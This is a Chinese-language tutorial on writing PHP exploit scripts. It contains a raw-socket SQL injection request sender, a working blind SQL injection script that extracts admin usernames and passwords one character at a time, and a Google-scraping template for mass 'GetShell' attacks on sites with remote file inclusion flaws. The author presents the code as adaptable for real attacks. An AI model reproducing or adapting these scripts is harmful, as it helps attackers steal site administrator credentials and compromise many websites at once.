无常规漏洞时代的到来,使得市面上目前很多流行的注入测试工具都无法胜任那些非常规的注入点,而脚本的灵活性可以很方便对这些非常规的注入点进行测试,最常见的应用莫过于通过脚本进行HTTP包的转发,配合注入测试工具进行注入的了。而今天想探讨的主要是PHP版的Exp的编写,直接通过脚本来达到注入或者批量GetShell的目的.
PHP的WinSock函数
PHP的强大和易用性不用多说,他的扩展库已经把Winsock的相关函数已经封装好了。我们常用的主要有fsockopen,fwrite,fgets,fgetss,fclose,feof等.而通常Exp很多时候都是通过注入来获取管理员的账户,所以可以大致抽象出一个流程如下:
1. 输出Usage等信息
2. 构造数据包
3. 循环发包
4. 得到结果判断并输出
这里直接用代码说话吧.
<?php
//脚本超时和报错可以根据自己的需要来更改
error_reporting(E_ERROR);
set_time_limit(0);
//输出版权信息,可有可无?
print_r('
——————————————————————————–
XXXXXXX SQL injection
xxxxxxx exploit
BY xxxxxx
——————————————————————————–
');
//通常Exp都使用命令行下输入来接受参数
if ($argc<3) {
//$argc表示接受参数的长度,通常都是三个。$argv数组则是存储的参数的值,$argv[0]第一个元素指本身文件名。
print_r('
——————————————————————————–
Usage: php '.$argv[0].' host path
host: target server (ip/hostname),without"http://"
path: path to phpcms
Example:
php '.$argv[0].' localhost /
——————————————————————————–
');
die;
}
//参数获取赋值,也是根据需要自行修改的.
$host=$argv[1];
$path=$argv[2];
$html=’’;
//构造数据包
$cookie=" ";
$agent=" User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1";
$content =" ";
//注入发包的方式,有时候是GET,有时候是POST哦.
$data = "POST /xxxxxx/bug.php?aid=1 HTTP/1.1\r\n";
$data .= "Host: ".$host."\r\n";
//$data .="Cookie: ".$cookie."\r\n";
$data .= "User-Agent: ".$agent. "\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
//$data .= "Accept-Encoding: gzip,deflate\r\n";
//某些网站可能开启了Gzip压缩,具体可以在测试的时候通过抓包工具来获取,如Live Http.
$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
$data .= "Connection: keep-alive\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
//发包
Sendpack($data);
//所有的返回结果会存在$html变量中,都是一些字符串,这时候发挥想象用正则或者是字符串判断函数来得到结果
if (!eregi("created_time",$html)){
echo $packet."\r\n";
echo $html."\r\n";
die("Exploit failed…");
}else{
$pattern=" ";
preg_match($pattern,$html,$pg);
//$html=
//查找之后对$html的一些判断…..
echo "\r\nExploit succeeded…\r\n";
}
//封装发包函数www.2cto.com
Function sendpack ($packet)
{
global $host, $html;
$ock=fsockopen(gethostbyname($host),'80');
if (!$ock) {
echo 'No response from '.$host; die;
}
fputs($ock,$packet);
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
fclose($ock);
}
?>
CURL库的应用
能做的事情就更多了。还是直接那代码说话吧,关于CURL的更多应用可以参考其官方文档。
PHP code
<?php
set_time_limit (0);
//参数获取
$url = $argv[1];
$id = $argv[2];
$opt = $argv[3];
//输出提示
if (count($argv)!=4){
print_r('
XXXXXXXXX SQL Injection
')
}else{
preg_match_all("/需要匹配的内容…/", GET($url), $dat, PREG_SET_ORDER);
if (!$dat){
echo "failed…\n";
}else{
//如果有相应的数据…
echo "XXXX SQL Injection\n";
//选择操作项目,这里可以自行发挥…
if ($opt == "-u"){
$var = "username";
}elseif($opt == "-p"){
$var = "password";
}else{
echo "[+] Parametros Incorrectos \n";
exit();
}
echo $var.":\n";
//0-9,a-z放入$ansi数组,为猜解做准备
$ansi = genera_ansii();
//构造注入语句,结合$var自行定义..
$query = "select+".$var."+from+admin_users+where+id=".$id;
//获取原页面用于注入对比,也可自行构造关键字对比,这里用的数据包长度,判断包中换行行数,可以自行发挥啦
$original = contar($url);
//循环猜解
$i=1;
for ($x=0;$x<=count($ansi);$x++){
$var = $ansi[$x];
//sqlexec重构sql注射语句,可以自行修改成更完善的,这里用ascii和substring函数来判断
$urlblind = $url.sqlexec($query."+limit+0,1",$i).$var;
$blind = contar($urlblind);
//执行语句成功返回and 1=1页面,并输出结果
if ($blind == $original){
$name.=chr($var);
echo " :> ".$name.chr(8);
$i++;
$x=-1;
}
echo chr($var).chr(13);
}
echo "\nResult:> ".$name."\n";
}
}
//函数封装
Function GET($url) {
//初始化和构造包头,这里省略了部分..
$curl = curl_init();
$header[] = " ";
$header[] = "Cache-Control: max-age=0";
$header[] = "Connection: keep-alive";
$header[] = "Keep-Alive: 300";
//按需要构造..
//curl_setopt用来设定CURL操作的参数..
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_USERAGENT, 'User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1');
curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
curl_setopt($curl, CURLOPT_REFERER, 'http://www.google.com');
curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');
curl_setopt($curl, CURLOPT_AUTOREFERER, true);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
if (!$html = curl_exec($curl)) {
$html = file_get_contents($url);
}
curl_close($curl);
return $html;
}
Function contar($host){
return count(explode("\n",GET($host)));
}
Function sqlexec($sql,$i){
return "+and+ascii(substring((".$sql."),".$i.",1))=";
}
Function genera_ansii(){
for ($x=45;$x<=122;$x++){ //0-9 a-z && _
if ($x==47){
$x++;
}
if ($x==58){
$x=$x+37;
}
if($x==96){
$x++;
}
$ansi[]=$x;
}
return $ansi;
}
?>
批量GetShell举例
批量GetShell一般适合RFI漏洞,不过这里只举一个小例子那就是通过抓取Google的结果来进行批量。结合前面的脚步只要做一些必要的修改便可以批量注入或者GetShell了。
PHP code
<?PHP
$keywords = $argv[1];
$html = google($keywords);
$match = "!<div\s*id=\"search\">(.*)</div>\s+<\!–z–>!";
preg_match_all($match,$html,$line);
//print_r ($line);
while (list($k,$v) = each($line[0])) {
preg_match_all("!<h3\s+class=\"r\"><a[^>]+>(.*?)</a>!", $v, $title);
$num = count($title[1]);
for ($i = 0; $i < $num; $i++) {
if (strstr($title[0][$i], $url_s)) {
$j = $i +1;
echo $html;
//echo $url;
break;
}
}
}
unset ($html);
Function google($key) {
//搜索的接口
$url = "http://www.google.com/search?sclient=psy-ab&hl=en&site=&source=hp&q=$key";
//手动抓包google cookies因为随时会变化
$cookie_file = dirname(__FILE__) . "/googlecookies.txt";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, '参照前面的脚本修改User-Agent');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
$contents = curl_exec($ch);
curl_close($ch);
return $contents;
}
?>
总结
最后,很多同学认为Exp的使用需要一个完整的PHP环境,其实这不是必要的。一般来说只要包括PHP.exe和php5ts.dll 库文件就可以使用Winsock函数了,但是如果要使用CURL库的话还需要包括php_curl.dll,同时配合PHP命令行的参数来加载curl库才能正常使用。
小弟功底尚浅,可能写出来的脚步的通用性还不是很强,但是在原有基础稍作修改应该是能够用于实战的。另外,很多大牛也使用脚本写出来很多通用的SQLi工具,比如Python写的SqlMap。我认为利用脚步来渗透是个趋势,PHP提供了很多方便的扩展库,这使得它能在渗透中发挥很多神奇的功效,提笔数字略作探讨